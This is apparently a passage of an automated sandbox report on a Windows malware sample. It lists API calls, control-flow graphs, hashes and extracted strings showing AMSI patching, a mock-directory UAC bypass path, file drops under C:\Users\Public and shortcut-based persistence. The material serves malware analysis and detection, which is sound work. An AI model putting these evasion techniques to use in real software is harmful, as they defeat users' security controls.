                                                                                                                                                                                                                                    • Part of subcall function 031EDC8C: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,031EDD5E), ref: 031EDCCB
                                                                                                                                                                                                                                    • Part of subcall function 031EDC8C: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 031EDD05
                                                                                                                                                                                                                                    • Part of subcall function 031EDC8C: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 031EDD32
                                                                                                                                                                                                                                    • Part of subcall function 031EDC8C: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 031EDD3B
                                                                                                                                                                                                                                  • Sleep.KERNEL32(000003E8,ScanBuffer,03257380,031FB7B8,UacScan,03257380,031FB7B8,ScanString,03257380,031FB7B8,031FBB30,00000000,00000000,031FBB24,00000000,00000000), ref: 031F40CB
                                                                                                                                                                                                                                    • Part of subcall function 031E88B8: LoadLibraryW.KERNEL32(amsi), ref: 031E88C1
                                                                                                                                                                                                                                    • Part of subcall function 031E88B8: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 031E8920
                                                                                                                                                                                                                                  • Sleep.KERNEL32(000003E8,ScanBuffer,03257380,031FB7B8,OpenSession,03257380,031FB7B8,UacScan,03257380,031FB7B8,000003E8,ScanBuffer,03257380,031FB7B8,UacScan,03257380), ref: 031F4277
                                                                                                                                                                                                                                    • Part of subcall function 031E894C: LoadLibraryW.KERNEL32(bcrypt,?,0000089C,00000000,032573A8,031EA587,ScanString,032573A8,031EA93C,ScanBuffer,032573A8,031EA93C,Initialize,032573A8,031EA93C,UacScan), ref: 031E8960
                                                                                                                                                                                                                                    • Part of subcall function 031E894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 031E897A
                                                                                                                                                                                                                                    • Part of subcall function 031E894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,0000089C,00000000,032573A8,031EA587,ScanString,032573A8,031EA93C,ScanBuffer,032573A8,031EA93C,Initialize), ref: 031E89B6
                                                                                                                                                                                                                                  • Sleep.KERNEL32(00004E20,UacScan,03257380,031FB7B8,ScanString,03257380,031FB7B8,ScanBuffer,03257380,031FB7B8,OpenSession,03257380,031FB7B8,UacInitialize,03257380,031FB7B8), ref: 031F50EE
                                                                                                                                                                                                                                    • Part of subcall function 031EDC04: RtlI.N(?,?,00000000,031EDC7E), ref: 031EDC2C
                                                                                                                                                                                                                                    • Part of subcall function 031EDC04: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,?,?,00000000,031EDC7E), ref: 031EDC42
                                                                                                                                                                                                                                    • Part of subcall function 031EDC04: NtDeleteFile.N(?,00000000,?,00000000,00000000,?,?,00000000,031EDC7E), ref: 031EDC61
                                                                                                                                                                                                                                    • Part of subcall function 031D7E5C: GetFileAttributesA.KERNEL32(00000000,?,031F041F,ScanString,03257380,031FB7B8,OpenSession,03257380,031FB7B8,ScanString,03257380,031FB7B8,UacScan,03257380,031FB7B8,UacInitialize), ref: 031D7E67
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Library$FilePath$FreeSleep$LoadNameName_$AddressAttributesCloseCreateDeleteProcWrite
                                                                                                                                                                                                                                  • String ID: /d $ /o$.url$C:\Users\Public\$C:\Users\Public\CApha.exe$C:\Users\Public\alpha.exe$C:\Users\Public\pha.exe$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\per.exe$C:\\Windows\\System32\\esentutl.exe /y $HotKey=$IconIndex=$Initialize$OpenSession$ScanBuffer$ScanString$URL=file:"$UacInitialize$UacScan$UacUninitialize$[InternetShortcut]$lld.SLITUTEN
                                                                                                                                                                                                                                  • API String ID: 3622799974-3926298568
                                                                                                                                                                                                                                  • Opcode ID: b9513fdc88985ea57a93a2d5e7ad41de04221e1a725baec6b8333bfed8a64a46
                                                                                                                                                                                                                                  • Instruction ID: e143ff90e6a010cc7b17bdacd58f283d847bcdc9c86d0db297c32f45c45dfb01
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b9513fdc88985ea57a93a2d5e7ad41de04221e1a725baec6b8333bfed8a64a46
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DE43DC3DA0425D8FCB10EB69DC81A9EB3B5EF8E600F5081E69149AF654DF30AE85CF51
                                                                                                                                                                                                                                  Function 031EE678 Relevance: 25.1, APIs: 3, Strings: 11, Instructions: 562synchronizationCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 10968 31ee678-31ee67c 10969 31ee681-31ee686 10968->10969 10969->10969 10970 31ee688-31eec81 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4740 * 2 call 31d4860 call 31d4778 call 31d30d4 call 31d46d4 * 2 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4740 call 31d7f2c call 31d49a0 call 31d4d74 call 31d4df0 call 31d4740 call 31d49a0 call 31d4d74 call 31d4df0 call 31e8788 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c 10969->10970 11173 31eec87-31eeedd call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 call 31d4860 call 31d49a0 call 31d46d4 call 31d47ec call 31d49a0 call 31d46d4 call 31e89d0 WaitForSingleObject CloseHandle * 2 call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c call 31d4860 call 31d49a0 call 31d47ec call 31d49a0 call 31e894c * 3 10970->11173 11174 31eeee2-31eef2f call 31d4500 call 31d4c60 call 31d4500 call 31d4c60 call 31d4500 10970->11174 11173->11174
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 031E89D0: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,0325738C,Function_0000662C,00000004,0325739C,0325738C,05F5E103,00000040,032573A0,74F60000,00000000,00000000), ref: 031E8AAA
                                                                                                                                                                                                                                    • Part of subcall function 031E8788: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 031E8814
                                                                                                                                                                                                                                    • Part of subcall function 031E894C: LoadLibraryW.KERNEL32(bcrypt,?,0000089C,00000000,032573A8,031EA587,ScanString,032573A8,031EA93C,ScanBuffer,032573A8,031EA93C,Initialize,032573A8,031EA93C,UacScan), ref: 031E8960
                                                                                                                                                                                                                                    • Part of subcall function 031E894C: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 031E897A
                                                                                                                                                                                                                                    • Part of subcall function 031E894C: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,0000089C,00000000,032573A8,031EA587,ScanString,032573A8,031EA93C,ScanBuffer,032573A8,031EA93C,Initialize), ref: 031E89B6
                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(00000000,000000FF,ScanString,03257380,031EEF4C,OpenSession,03257380,031EEF4C,UacScan,03257380,031EEF4C,ScanBuffer,03257380,031EEF4C,OpenSession,03257380), ref: 031EED6E
                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000,00000000,000000FF,ScanString,03257380,031EEF4C,OpenSession,03257380,031EEF4C,UacScan,03257380,031EEF4C,ScanBuffer,03257380,031EEF4C,OpenSession), ref: 031EED76
                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000868,00000000,00000000,000000FF,ScanString,03257380,031EEF4C,OpenSession,03257380,031EEF4C,UacScan,03257380,031EEF4C,ScanBuffer,03257380,031EEF4C), ref: 031EED7F
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Library$CloseFreeHandle$AddressCreateLoadObjectProcProcessSingleUserWait
                                                                                                                                                                                                                                  • String ID: )"C:\Users\Public\Libraries\joedgvvL.cmd" $Amsi$AmsiOpenSession$Initialize$NtOpenProcess$NtSetSecurityObject$OpenSession$ScanBuffer$ScanString$UacScan$ntdll
                                                                                                                                                                                                                                  • API String ID: 3475578485-3660858616
                                                                                                                                                                                                                                  • Opcode ID: 3f32db631162bb095c5d8aae8697e6dadf7a7a3540d3ed2b4edd7e2363d56bcc
                                                                                                                                                                                                                                  • Instruction ID: 14c92ad891a170e1cf0ebf810f8e4b78c8d1b7415681d8a03204e8b04e95cff9
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3f32db631162bb095c5d8aae8697e6dadf7a7a3540d3ed2b4edd7e2363d56bcc
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5A22FB38A0065D9FDF10EBA5D881B8EB3B9EF8E640F1041A1A045EF255DF31AE45CF66
                                                                                                                                                                                                                                  Function 031D1724 Relevance: 9.0, APIs: 7, Instructions: 289sleepCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 13137 31d1724-31d1736 13138 31d173c-31d174c 13137->13138 13139 31d1968-31d196d 13137->13139 13140 31d174e-31d175b 13138->13140 13141 31d17a4-31d17ad 13138->13141 13142 31d1a80-31d1a83 13139->13142 13143 31d1973-31d1984 13139->13143 13146 31d175d-31d176a 13140->13146 13147 31d1774-31d1780 13140->13147 13141->13140 13150 31d17af-31d17bb 13141->13150 13144 31d1a89-31d1a8b 13142->13144 13145 31d1684-31d16ad VirtualAlloc 13142->13145 13148 31d1938-31d1945 13143->13148 13149 31d1986-31d19a2 13143->13149 13151 31d16df-31d16e5 13145->13151 13152 31d16af-31d16dc call 31d1644 13145->13152 13153 31d176c-31d1770 13146->13153 13154 31d1794-31d17a1 13146->13154 13156 31d17f0-31d17f9 13147->13156 13157 31d1782-31d1790 13147->13157 13148->13149 13155 31d1947-31d195b Sleep 13148->13155 13158 31d19a4-31d19ac 13149->13158 13159 31d19b0-31d19bf 13149->13159 13150->13140 13160 31d17bd-31d17c9 13150->13160 13152->13151 13155->13149 13164 31d195d-31d1964 Sleep 13155->13164 13162 31d182c-31d1836 13156->13162 13163 31d17fb-31d1808 13156->13163 13165 31d1a0c-31d1a22 13158->13165 13166 31d19d8-31d19e0 13159->13166 13167 31d19c1-31d19d5 13159->13167 13160->13140 13168 31d17cb-31d17de Sleep 13160->13168 13174 31d18a8-31d18b4 13162->13174 13175 31d1838-31d1863 13162->13175 13163->13162 13173 31d180a-31d181e Sleep 13163->13173 13164->13148 13176 31d1a3b-31d1a47 13165->13176 13177 31d1a24-31d1a32 13165->13177 13170 31d19fc-31d19fe call 31d15cc 13166->13170 13171 31d19e2-31d19fa 13166->13171 13167->13165 13168->13140 13169 31d17e4-31d17eb Sleep 13168->13169 13169->13141 13178 31d1a03-31d1a0b 13170->13178 13171->13178 13173->13162 13180 31d1820-31d1827 Sleep 13173->13180 13186 31d18dc-31d18eb call 31d15cc 13174->13186 13187 31d18b6-31d18c8 13174->13187 13181 31d187c-31d188a 13175->13181 13182 31d1865-31d1873 13175->13182 13184 31d1a49-31d1a5c 13176->13184 13185 31d1a68 13176->13185 13177->13176 13183 31d1a34 13177->13183 13180->13163 13190 31d188c-31d18a6 call 31d1500 13181->13190 13191 31d18f8 13181->13191 13182->13181 13189 31d1875 13182->13189 13183->13176 13192 31d1a6d-31d1a7f 13184->13192 13193 31d1a5e-31d1a63 call 31d1500 13184->13193 13185->13192 13196 31d18fd-31d1936 13186->13196 13200 31d18ed-31d18f7 13186->13200 13194 31d18cc-31d18da 13187->13194 13195 31d18ca 13187->13195 13189->13181 13190->13196 13191->13196 13193->13192 13194->13196 13195->13194
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • Sleep.KERNEL32(00000000,?,031D2000), ref: 031D17D0
                                                                                                                                                                                                                                  • Sleep.KERNEL32(0000000A,00000000,?,031D2000), ref: 031D17E6
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Sleep
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3472027048-0
                                                                                                                                                                                                                                  • Opcode ID: 86800d0d63e611695a00fd5fd8ef76e662923d6a84885503f87e98de82528c9e
                                                                                                                                                                                                                                  • Instruction ID: 09f1ad77f05495c361526285e312331b9350a23841f1a0aaafb93d8603d8e511
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 86800d0d63e611695a00fd5fd8ef76e662923d6a84885503f87e98de82528c9e
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2EB11276600351ABCB55EF69E888355FBE1EB8B311F19C2BAD44A8B389C770D681C790
                                                                                                                                                                                                                                  Function 031E88B8 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35libraryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • LoadLibraryW.KERNEL32(amsi), ref: 031E88C1
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,031E82FC,?,?,00000000,00000000,?,031E8215,00000000,KernelBASE,00000000,00000000,031E823C), ref: 031E82C1
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 031E82C7
                                                                                                                                                                                                                                    • Part of subcall function 031E8274: GetProcAddress.KERNEL32(?,?), ref: 031E82D9
                                                                                                                                                                                                                                    • Part of subcall function 031E7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 031E7DEC
                                                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 031E8920
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
                                                                                                                                                                                                                                  • String ID: DllGetClassObject$W$amsi
                                                                                                                                                                                                                                  • API String ID: 941070894-2671292670
                                                                                                                                                                                                                                  • Opcode ID: 3addcfb63a841324f69540d09d22549f19db52bd6e27971a2c2424d33ec519ef
                                                                                                                                                                                                                                  • Instruction ID: 1116c1541abd10591592a0bbb8ddfe79fa0198f60ad237c92841c1e03fa638bb
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3addcfb63a841324f69540d09d22549f19db52bd6e27971a2c2424d33ec519ef
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F0F0AF5044CB81BBD300E2788C45F4FBECC4BAA564F448A18F1E8AE2D2D77AD1048367
                                                                                                                                                                                                                                  Function 031D1A8C Relevance: 7.7, APIs: 6, Instructions: 175sleepCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                  control_flow_graph 13225 31d1a8c-31d1a9b 13226 31d1b6c-31d1b6f 13225->13226 13227 31d1aa1-31d1aa5 13225->13227 13228 31d1c5c-31d1c60 13226->13228 13229 31d1b75-31d1b7f 13226->13229 13230 31d1b08-31d1b11 13227->13230 13231 31d1aa7-31d1aae 13227->13231 13236 31d16e8-31d170b call 31d1644 VirtualFree 13228->13236 13237 31d1c66-31d1c6b 13228->13237 13232 31d1b3c-31d1b49 13229->13232 13233 31d1b81-31d1b8d 13229->13233 13230->13231 13238 31d1b13-31d1b27 Sleep 13230->13238 13234 31d1adc-31d1ade 13231->13234 13235 31d1ab0-31d1abb 13231->13235 13232->13233 13239 31d1b4b-31d1b5f Sleep 13232->13239 13241 31d1b8f-31d1b92 13233->13241 13242 31d1bc4-31d1bd2 13233->13242 13245 31d1ae0-31d1af1 13234->13245 13246 31d1af3 13234->13246 13243 31d1abd-31d1ac2 13235->13243 13244 31d1ac4-31d1ad9 13235->13244 13253 31d170d-31d1714 13236->13253 13254 31d1716 13236->13254 13238->13231 13247 31d1b2d-31d1b38 Sleep 13238->13247 13239->13233 13248 31d1b61-31d1b68 Sleep 13239->13248 13250 31d1b96-31d1b9a 13241->13250 13242->13250 13252 31d1bd4-31d1bd9 call 31d14c0 13242->13252 13245->13246 13251 31d1af6-31d1b03 13245->13251 13246->13251 13247->13230 13248->13232 13255 31d1bdc-31d1be9 13250->13255 13256 31d1b9c-31d1ba2 13250->13256 13251->13229 13252->13250 13259 31d1719-31d1723 13253->13259 13254->13259 13255->13256 13258 31d1beb-31d1bf2 call 31d14c0 13255->13258 13260 31d1bf4-31d1bfe 13256->13260 13261 31d1ba4-31d1bc2 call 31d1500 13256->13261 13258->13256 13264 31d1c2c-31d1c59 call 31d1560 13260->13264 13265 31d1c00-31d1c28 VirtualFree 13260->13265
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • Sleep.KERNEL32(00000000,?), ref: 031D1B17
                                                                                                                                                                                                                                  • Sleep.KERNEL32(0000000A,00000000,?), ref: 031D1B31
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Sleep
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3472027048-0
                                                                                                                                                                                                                                  • Opcode ID: 66179881efdebba211ebd6e3794682f3ac0e729ec3df0aed34e8fd73f37ff1f9
                                                                                                                                                                                                                                  • Instruction ID: acfbacf2fcb21b55bb93ba5665ad4a99c649cecf43d2094780f2b3f4218b1071
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 66179881efdebba211ebd6e3794682f3ac0e729ec3df0aed34e8fd73f37ff1f9
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2F51D075600340AFDB95DF68E984766BBE4AF4F314F2882BED844CB286E7B0C585C791
                                                                                                                                                                                                                                  Function 031EE4B6 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112networkCOMMON
                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 031EE5F6
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CheckConnectionInternet
                                                                                                                                                                                                                                  • String ID: Initialize$OpenSession$ScanBuffer
                                                                                                                                                                                                                                  • API String ID: 3847983778-3852638603
                                                                                                                                                                                                                                  • Opcode ID: 39d82d23843514fbbb893818485ec8481af89c22b240cc779de3818875a9db49
                                                                                                                                                                                                                                  • Instruction ID: 2b59a3b2755a978ec77e838744b8d75f6786601684e48c3b01207eb6dfbd3e6e
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 39d82d23843514fbbb893818485ec8481af89c22b240cc779de3818875a9db49
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 89411939B0060C9FDB11EBA9D881ADEB3F9EF8E600F204426E051EB240DF71AD018B65
                                                                                                                                                                                                                                  Function 031E5C2C Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,031E5D74,?,?,031E3900,00000001), ref: 031E5C88
                                                                                                                                                                                                                                  • GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,031E5D74,?,?,031E3900,00000001), ref: 031E5CB6
                                                                                                                                                                                                                                    • Part of subcall function 031D7D5C: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,031E3900,031E5CF6,00000000,031E5D74,?,?,031E3900), ref: 031D7DAA
                                                                                                                                                                                                                                    • Part of subcall function 031D7F98: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,031E3900,031E5D11,00000000,031E5D74,?,?,031E3900,00000001), ref: 031D7FB7
                                                                                                                                                                                                                                  • GetLastError.KERNEL32(00000000,031E5D74,?,?,031E3900,00000001), ref: 031E5D1B
                                                                                                                                                                                                                                    • Part of subcall function 031DA778: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,031DC3D9,00000000,031DC433), ref: 031DA797
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 00000004.00000002.2226728008.00000000031D1000.00000020.00001000.00020000.00000000.sdmp, Offset: 031D0000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2226697168.00000000031D0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227079504.00000000031FE000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.0000000003257000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 00000004.00000002.2227225588.000000000334E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_4_2_31d0000_x.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CreateErrorFileLast$FormatFullMessageNamePath
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 503785936-0
                                                                                                                                                                                                                                  • Opcode ID: 7e53d8ebf4f312630aad1e27b8dd1cddb135a39e5e195ab72019ec9339795158
                                                                                                                                                                                                                                  • Instruction ID: 0701e1105429e297e1a2ce77ee9ea93960903f3af6c228ec54406cf18f0c1c8b
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7e53d8ebf4f312630aad1e27b8dd1cddb135a39e5e195ab72019ec9339795158
